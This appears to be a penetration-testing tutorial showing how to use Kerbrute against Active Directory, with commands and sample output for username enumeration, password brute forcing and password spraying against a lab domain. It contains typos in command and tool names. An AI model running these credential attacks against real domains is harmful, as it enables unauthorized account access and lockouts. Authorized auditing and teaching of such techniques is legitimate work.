



Intro

Kerbrute is a tool written in **GO program** language and it will work taking advantage of the **AS Req (Authentication Services request)** to make **users enumeration, brute force attack, password spaying** and **other techniques**.

Installation

To install Kerbrute we just have to download this tool from **ropnot** repo from **github**. The link is [Releases · ropnot/kerbrute](#), specifically the binary **kerbrute_linux_amd64**. Then we will give it execute permission with **chmod kerbrute_linux_amd64** and we are going to be able to use kerbrute with the command **./kerbrute_linux_amd64**

```
~$ ./kerbrute_linux_amd64

Kerbrute

Version: v1.0.3 (9dad6e1) - 01/16/25 - Ronnie Flathers @ropnot

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and will lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce  Bruteforce username:password combos, from a file or stdin
  brutefuser  Bruteforce a single user's password from a wordlist
  help        Help about any command
  passwordspray Test a single password against a list of users
  userenum    Enumerate valid domain usernames via Kerberos
  version     Display version info and quit

Flags:
  -dc string      The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
  --delay int     Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string The full domain to use (e.g. contoso.com)
  -h, --help      help for kerbrute
  -o, --output string File to write logs to, Optional.
  --safe          Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int Threads to use (default 10)
  -v, --verbose   Log failures and errors

Use "kerbrute [command] --help" for more information about a command.
```

Kerbrute on action

Users enumeration

To make an user enumeration with kerbrute we are going to use those commands **1) userenum** to tell it which action we are going to execute, **2) -d domain.local** to pass it the domain that we are auditing and finally and finally, **3) an username dictionary** to make the attack. Is very easy to create a list of usernames because in an AD environment those names follow a pattern of **name.lastname**. The command going to be:

./kerbrute userenum -d domain.local users.txt

```
~$ ./kerbrute_linux_amd64 userenum -d corp.local users.txt

Kerbrute

Version: v1.0.3 (9dad6e1) - 01/16/25 - Ronnie Flathers @ropnot

2025/01/16 21:09:53 > Using KDC(s):
2025/01/16 21:09:53 > dc01.corp.local:88

2025/01/16 21:09:53 > [+] VALID USERNAME: employer1@corp.local
2025/01/16 21:09:53 > [+] VALID USERNAME: employer2@corp.local
2025/01/16 21:09:53 > [+] VALID USERNAME: darice.kinnie@corp.local
2025/01/16 21:09:53 > [+] VALID USERNAME: luce.charlott@corp.local
2025/01/16 21:09:53 > Done! Tested 6 usernames (4 valid) in 0.079 seconds
```

Valid Domain Users!

Brute force attack with Kerbrute

As its name says, the main use of Kerbrute is to perform **Brute Forces** attack against **Kerberos protocol** in different ways. That we are going to see next

⚠ WARNING!! ⚠: All these attacks must be carried out with great caution because they generate security events and abusing them can cause a user or the entire domain to be blocked due to failed login attempts.

Brute Users

With the command we are going to use the command **bruteuser** we can perform an attack on a unique user following for a **password dictionary** and a **Valid Username**. The command is:

./kerbrute bruteuser -d local.domain dictionary.txt user.name

```

AUXTOOLS> ./kerbrute_linux_amd64 bruteuser -d corp.local passwords.txt employer1

Kerbrute
Version: v1.0.3 (9dad6e1) - 01/16/25 - Ronnie Flathers @ropnop
2025/01/16 22:34:23 > Using KDC(s):
2025/01/16 22:34:23 > dc01.corp.local:88
2025/01/16 22:34:23 > [+] VALID LOGIN: employer1@corp.local:Password01
2025/01/16 22:34:23 > Done! Tested 3 logins (1 successes) in 0.031 seconds

```

→ Valid Login!!

Brute Force

The Brute force attack will consist of using a **file.txt with a list that combines username and password** in the format **user:password** to test the Kerberos authentication. The command going to follow the next parameters:

./kerbrute -d domain.local bruteforce user_pass.txt

```

AUXTOOLS> ./kerbrute_linux_amd64 bruteforce -d corp.local user_pass.txt

Kerbrute
Version: v1.0.3 (9dad6e1) - 01/16/25 - Ronnie Flathers @ropnop
2025/01/16 23:05:01 > Using KDC(s):
2025/01/16 23:05:01 > dc01.corp.local:88
2025/01/16 23:05:01 > [+] VALID LOGIN: employer2@corp.local:Password02
2025/01/16 23:05:01 > [+] VALID LOGIN: employer1@corp.local:Password01
2025/01/16 23:05:01 > Done! Tested 6 logins (2 successes) in 0.077 seconds

```

→ Valid Login Using bruteforce

Password Spaying

With Kerbrute we also can perform a **password spaying attack** using a **list of users** following for a **unique password** that will be used for all the users on the list. We can

investigate which passwords are common in an AD environment or, based on our information gathering, use those passwords that we think are going to be useful.

The command to perform this attack is:

`./kerbute passwordspay -d domain.local users.txt The.password`

```

AUXTOOLS/Kerbrute > ./kerbute_linux_amd64 passwordspray -d corp.local users.txt Password02

Kerbrute
Version: v1.0.3 (9dad6e1) - 01/16/25 - Ronnie Flathers @ropnop
2025/01/16 22:49:03 > Using KDC(s):
2025/01/16 22:49:03 > dc01.corp.local:88
2025/01/16 22:49:03 > [+] VALID LOGIN: employer2@corp.local:Password02
2025/01/16 22:49:03 > Done! Tested 6 logins (1 successes) in 0.055 seconds
```

Valid Login using password spay

Conclusion: Kerbute is a tool that is going to be useful to enumerate users and perform brute force attacks abusing the kerberos protocol.

But it is a tool that must be used **very responsibly** because if used indiscriminately it could be harmful to the infrastructure of the domain we are auditing.